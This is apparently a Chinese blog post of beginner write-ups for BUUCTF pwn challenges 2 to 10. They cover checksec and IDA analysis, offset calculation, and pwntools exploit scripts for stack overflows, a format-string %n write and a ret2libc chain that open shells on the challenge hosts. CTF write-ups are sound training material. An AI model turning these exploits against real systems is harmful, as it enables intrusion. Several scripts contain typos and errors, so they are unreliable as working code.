buuctf习题pwn(2~10)

第二题 rip

  1. 启动靶机
    下载pwn1文件移动到桌面(我的习惯,可以不这样做)
    终端中输入checksec pwn1可以查看这个文件的基本信息
    在这里插入图片描述
    64位文件
    stack这一行是没有canary保护(一种栈的保护)
    NX这行是没有NX保护(栈堆不可执行)
    PIE这行说没有PIE保护(PIE是啥我现在还不知道)
  2. 将文件用IDA打开
    在这里插入图片描述

按F5可以查看文件的一个反编译出的c语言代码,不一定是源码,但是足以让我们知道程序是干什么的,列表里有一个fun函数,可以让我们获得shell,往后翻会看到它的首地址,后门就找到了backdoor=0x4001186,接下来就是利用栈溢出修改返回地址到fun函数了

  1. 计算偏移量
    主函数中定义了一个数组,点击数组名,查看大小
    在这里插入图片描述
    计算s的偏移量:0-(-0xf)=0xf=15
  2. 然后回到虚拟机开始写脚本
    vim rip.py文件名随意
form pwn import*
p=remote('node4.buuoj.cn',26390)##括号里是靶机,可能不太一样
backdoor=0x401186;#shell地址
## p32、p64作用是将数据打包成二进制文本,u32、u64作用是将数据从二进制文本解包
buf_1='a'*15+p64(backdoor)#这里是攻击的具体数据,十五是之前计算出的偏移量
p.sendline(buf_1)#发送攻击数据
p.interactive()#拿到交互窗口
  1. 运行脚本寻找flag
    在终端输入python rip.py注意用python写的文件要用python运行,只./的话会报错
    ls后发现有flag文件
    cat flag
    在这里插入图片描述

复制文件中内容交到平台就解完啦

第三题 warmup_csaw_2016

连接靶机,下载文件,checksec查保护
在这里插入图片描述
发现啥保护也没有
用ida打开看看
shift+F12打开string窗口,查看字符串
在这里插入图片描述
发现了cat flag.txt,这个就是目标了
双击进去
在这里插入图片描述
找到它是和一个sub_40060D函数有关,进去看看,进去后按F5
在这里插入图片描述
发现这个函数就是返回到这个文件的,只要能调用这个函数就能拿到flag了,去找这个函数的地址
在这里插入图片描述
0x400611(不知道为啥是它不是别的)

现在去主函数看看
在这里插入图片描述
有gets函数,可以栈溢出返回我们想要到达的地址
看v5,计算偏移量
在这里插入图片描述
在这里插入图片描述
偏移量为:+0-(-0x40)=0x40,再加上返回地址8,要输入的长度就确定了。
接下来编写脚本

from pwn import*
p=remote('node4.buuoj.cn',27506);
wik='a'*(0x40+8)+p64(0x400611);
p.sendline(wik);
p.interactive()

复制flag提交就完成啦

第四题 ciscn_2019_n_1

checksec 文件
在这里插入图片描述
开启了NX保护,但是这题跟他没关系
拖到IDA里
在这里插入图片描述
发现有fun函数,点进去一看,有gets函数,还有flag文件
在这里插入图片描述
所以这题应该是通过溢出让v2=11.28125,就可以获得flag
计算溢出的量:查看v1和v2,他俩挨着
在这里插入图片描述
在这里插入图片描述
计算-0x4-(-0x30)=0x2c,又经过查找,11.28125对应的十六进制为0x41348000
脚本:

from pwn import*
p=remote('node4.buuoj.cn',27208);
payload='a'*(0x2c)+p64(0x41348000);
p.sendline(payload);
p.interactive()

运行之后
在这里插入图片描述

提交flag就ok啦

第五题 pwn1_sctf_2016

checksec 文件
在这里插入图片描述
32位小端序文件,开启了nx(堆栈不可执行),不能向堆栈写东西,但是不妨碍做这道题。
用ida打开文件,记得用32位的
在这里插入图片描述
看到了get_flag函数,点进去在这里插入图片描述
是我们想要的flag文件,记下get_flag地址flag_address=0x8048F0D
查看main函数
在这里插入图片描述
进入vuln函数
在这里插入图片描述
有fgets函数,但是它是限定输入长度的,不能栈溢出,
看一下s大小:

在这里插入图片描述
s偏移量等于0-0x3c=0x3c=60,加上4(这个文件是32位的)就到了返回地址。所以只要能输入64字节长度加上之前找到的函数地址就能拿到flag。
往下看,接下来的操作经过一番百度查找得到:将I(大写的)替换成you,这样输入一个I就相当于输入了一个you,我们输入21(在32范围内)个I加上一个字节的字符就能造成溢出。
脚本如下:

from pwn import*
p=remote("node4.buuoj.cn",26852);
payload='I'*21+b'a'+p32(0x8048F0D);
p.sendline(payload);
p.interactive();

运行的到flag
在这里插入图片描述

第六题 jarvisoj_level0

checksec 文件
在这里插入图片描述
64位小端序文件,开启了nx保护,但是这个题依然没用到它。
拖入ida
在这里插入图片描述
进入main函数
在这里插入图片描述
进入 vulnerable_function函数
在这里插入图片描述
虽然没有gets但是有一个read,我查了一下,也是可以输入的,下面是关于它的定义和说明:
函数定义:ssize_t read(int fd, void * buf, size_t count);
函数说明:read()会把参数fd所指的文件传送count 个字节到buf 指针所指的内存中。
这个0,我没弄懂是啥,但是当我运行这个文件时(需要加可执行权限)发现在这里插入图片描述
让输入字符,那大概就是可以输入溢出了。
找到溢出方法后要找溢出后要到达的地址,目前没看到有啥,所以我们shift+F12查看打开string window,找到了./bin/sh在这里插入图片描述
查看后
在这里插入图片描述

发现和callsystem函数有关,继续进入查看在这里插入图片描述
callsystem函数可以拿到shell,记下函数地址backdoor=0x400596
接下来计算需要溢出的量
在这里插入图片描述
在这里插入图片描述
所以s偏移量是0-(-0x80)=0x80,加上返回地址的8字节,现在编写脚本

from pwn import*
p.remote("node4.buuoj.cn",29286);
backdoor=0x400596;
payload=b'a'*(0x80+8)+p64(backdoor);
p.sendline(payload);
p.interactive();

运行脚本
在这里插入图片描述
这里就拿到shell了,输入ls
在这里插入图片描述
cat flag或者flag.txt都行
在这里插入图片描述
提交flag就可以了

第七题 第五空间2019 决赛]PWN5

checksec
在这里插入图片描述
32位小端序文件,开启了nx保护和canary保护
拖入32位ida,查看main函数在这里插入图片描述
代码意思是输入一个密码,让密码等于一个随机生成的数。这个数在bss段,我们是看不到的。
在这里插入图片描述
本题通过printf函数的未指明参数造成的格式化漏洞改变unk_804c044来解题
下面来说什么是格式化字符串漏洞
正常printf在使用时是要写参数(如%d,%f,%x)的(printf函数没有固定参数个数,这也是漏洞的成因),当不写参数时,我们输入%n可以修改某个地址的内容
%n的用法是:

一些字符%要覆盖的参数位置(要改第几个参数就写几)$n#将地址处的内容覆盖为字符的个数

//这是我的个人解释,缺少很多的概念和定义,对于这道题足够,但是我还是建议去认真看一下关于格式化字符串漏洞,是值得一看的
继续解题
通过输入 %08x我们可以查看对应地址的内容,所以我们这样:
在这里插入图片描述
AAAA对应ASCⅡ码为41414141,定位到AAAA在栈的第十个参数,想要指定修改某个参数只需输入%数$n所以接下来修改生成的随机数(这个随机数是可以自己设定的随便写,想写多长写多长),我举两个例子,一个是修改一处的,一个是修改四处的,就是设置的数字边长了。

payload=p32(0x804C044)+b'%10$n'
#三十二位,地址是四字节,所以随机数被修改为了4

对应exp

from pwn import*
p=remote('node4.buuoj.cn',28496);
payload=p32(0x804C044)
payload+=b'%10$n'
p.sendline(payload)
p.sendline(b'4')
p.interactive()   
payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%10$n%11$n%12$n%13'
#每个地址是四字节四个地址加起来是16字节,转换为十六进制是0x10,所以随机数被改为了0x10101010

可以写脚本了

from pwn import*
p=remote('node4.buuoj.cn',28496);
payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendline(payload)#修改随机数
p.sendline(str(0x10101010))#输入密码
p.interactive()          

翻回来看自己的博客发现一个有趣的地方
以下是询问chatgpt得到的

类型:str(0x10101010)是将整数值0x10101010转换为字符串类型,而b'0x10101010'是一个字节串(bytes)类型。

内容:str(0x10101010)将整数值转换为对应的字符串表示,例如将整数 16,807,954 转换为字符串 '16807954'。而b'0x10101010'则是一个字节串,它实际上包含了字节序列 0x10, 0x10, 0x10, 0x10。

字面值表示:str(ox10101010)是直接使用整数值作为参数,而b'0x10101010'是一个字节串字面值,其中的b前缀表示这是一个字节串。

所以,str(ox10101010)将整数转换为对应的字符串表示,而b'0x10101010'是一个字节串,包含了特定的字节序列。这两者的含义和用途是不同的。

原来str(数据)b'数据'是不一样的
运行脚本,获取shell,寻找flag
在这里插入图片描述
提交flag就完成啦

第八题 ciscn_2019_c_1

这道题是国赛的题,因为用的新东西(对于新手来说)比较多,做起来很费劲,加上最近考试啥的比较多,这道题拖了一个月。
看了好多篇博客才大概弄懂。

checksec一下
在这里插入图片描述
开了nx保护和Partial RELRO(GOT表入口只读),64位文件
拖入ida(我加了插件,变量名可能会有些不一样)
在这里插入图片描述
对了,没有system函数这道题用ret2libc方法做
输入1调用加密函数,查看加密函数在这里插入图片描述
有可以溢出的地方s,中间进行了异或操作,所以写入的payload需要稍微改一下,有两种修改方式,

  • 第一种是在exp里对payload进行一次异或处理(两次异或就会变回原来的值)
    感觉麻烦,没写
  • 第二种是在payload前面加上\0
    仔细阅读代码,进行异或操作是通过strlen函数读取s的长度,++x直到x=strlen(s)退出异或,strlen函数是遇到\0(结束符)就停止,所以在payload前面加上\0就可以绕过加密。
    修改payload的原因:如果payload被加密,覆盖返回地址之类我们想要进行的操作就不能进行。
    推荐一个在线的LibcSeacher(因为python3用不了本地的LibcSearcher),记得要用pip3那个命令的,那个才是在线的,本地libcbase更新要好久。
    寻找需要的gadget在这里插入图片描述

pop_rid=0x400c83
rdi是第一个寄存器,用于控制函数参数,通过它我们可以传参
pop_rid+参数+函数名,就可以调用函数了。
ret=0x4006b9
用于栈平衡(ubuntu18开始的要求,payload长度需要是16的倍数)
直接给exp了,里面有解释,一些东西都是干嘛的

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",28885)
#io = process("./ciscn_2019_c_1")
elf=ELF("./ciscn_2019_c_1")#创建一个elf对象,代表当前目录下的ciscn_2019_c_1文件。
main_addr=elf.sym['main']#获取可执行文件中main地址赋给main_addr
pop_rdi=0x400c83
ret=0x4006b9
puts_got=elf.got['puts']#获取elf中puts的got地址赋给puts_addr
puts_plt=elf.plt['puts']#获取elf中puts的plt地址赋给puts_addr
#gdb.attach(io)
io.sendlineafter('Input your choice!\n',b'1')#感觉这样发送数据比接收到数据再发送方便,没有接收超时之类的困扰
payload = b'\0'+b'a'*0x57 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#第一个payload的作用:通过puts函数打印出puts函数的地址
#后面再跟上main函数的地址用于第二次发送payload获取shell
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvuntil('Ciphertext\n')
io.recvuntil('\n')#吸收(我觉得用这个词合理)与puts函数地址无关的数据
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))
#[:-1]表示选择第一个元素到倒数第二个元素,也就是删除了结尾的换行符
#ljust8,b'\x00'),补齐接收的数据到8位,u64将该处理好的数据转换位8字节的无符号64位整数
#pause()
libc=LibcSearcher('puts',puts_addr)#用到了我说的LibSearcher,可以确定libc版本
libcbase=puts_addr-libc.dump('puts')#通过之前得到的puts函数地址,再用该版本libc中的puts的偏移量,计算出libc基址
system=libcbase+libc.dump('system')#基址加system偏移量计算system地址
bin_sh=libcbase+libc.dump('str_bin_sh')#同理计算/bin/sh的地址
io.sendlineafter('Input your choice!\n',b'1')
payload=b'\0'+b'a'*0x57+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
#ret用来凑数的,将payload凑成16的倍数(之前说的栈平衡)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.interactive()

注意,这道题要连靶机才能打通,我打本地打了好几次没通(我指的是拿到shell),直到打通的朋友告诉要连靶机才知道。
运行脚本就能拿到shell了,我这里就不贴出来了。

第九题ciscn_2019_n_8

比第八题简单多了
checksec一下

32位小端
虽然开了很多保护,但是这道题给了后门函数。
拖入ida在这里插入图片描述
注意到拿到shell的条件是使var[13]==17,上面还有scanf函数,参数是数组的第一个元素,通过判断条件推出数组是int类型的数组,文件是32位的,所以写入‘a’乘4乘13+数字17就可以了。
exp

from pwn import*
io=remote('node4.buuoj.cn',27966)
#io=process("./ciscn_2019_n_8")
#gdb.attach(io)
#pause()
payload=b'a'*4*13+bytes([17])
io.sendline(payload)
io.interactive()

第十题jarvisoj_level2

checksec一下
在这里插入图片描述
32位小端
开了nx和部分重定位保护
拖入ida
在这里插入图片描述
进入function函数
在这里插入图片描述
有栈溢出漏洞
shift+f12查看字符窗口
在这里插入图片描述
这就很好做了,有后门函数
找了一会,找到了system的plt地址
在这里插入图片描述
system_addr=0x08048320
接着再去找/bin/sh的地址
在这里插入图片描述
bin_sh=0x0804A024
计算偏移量
在这里插入图片描述
0x88+4
exp

from pwn import*
io=remote('node4.buuoj.cn',25016)
#io=process('./level2')
system_addr=0x08048320
bin_sh=0x0804A024
payload=b'a'*(0x88+4)+p32(system_addr)+p32(0x123456)+p32(bin_sh)
#填满栈,接着是system的地址,接下来是system的返回地址随意写一个就好,再跟着的是/bin/sh的地址
io.sendline(payload)
io.interactive()

因为马虎我第一次写的payload是

payload=b'a'*0x88+4)+p64(system_addr)+p64(bin_sh)

结果也打通了,现在还不知道为什么。

  • 4
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值